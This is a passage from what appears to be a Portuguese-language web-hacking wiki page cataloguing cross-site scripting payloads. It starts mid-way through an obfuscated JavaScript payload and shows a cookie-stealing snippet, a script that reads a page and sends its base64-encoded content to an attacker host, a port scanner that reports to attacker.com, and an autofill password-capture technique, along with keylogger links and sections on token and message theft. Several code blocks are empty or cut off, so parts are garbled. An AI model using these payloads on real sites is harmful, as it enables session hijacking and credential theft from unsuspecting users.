+(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS payloads comuns ### Vários payloads em 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Armadilha Iframe Faça o usuário navegar na página sem sair de um iframe e roube suas ações (incluindo informações enviadas em formulários): {% content-ref url="../iframe-traps.md" %} [iframe-traps.md](../iframe-traps.md) {% endcontent-ref %} ### Recuperar Cookies ```javascript /?c="+document.cookie> ``` {% hint style="info" %} Você **não conseguirá acessar os cookies do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/#httponly) se tiver sorte. {% endhint %} ### Roubar Conteúdo da Página ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Encontrar IPs internos ```html ``` ### Scanner de Portas (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Scanner de Portas (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Captura de senhas de preenchimento automático ```javascript Username:
Password:
``` Quando qualquer dado é introduzido no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante, mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão exfiltradas. ### Keylogger Apenas pesquisando no github, encontrei alguns diferentes: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * Você também pode usar metasploit `http_javascript_keylogger` ### Roubo de tokens CSRF ```javascript ``` ### Roubo de mensagens PostMessage ```markup ``` ### Abusando de Service Workers {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Acessando Shadow DOM {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) {% endcontent-ref %} ### Polyglots {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Payloads de Blind XSS Você também pode usar: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >
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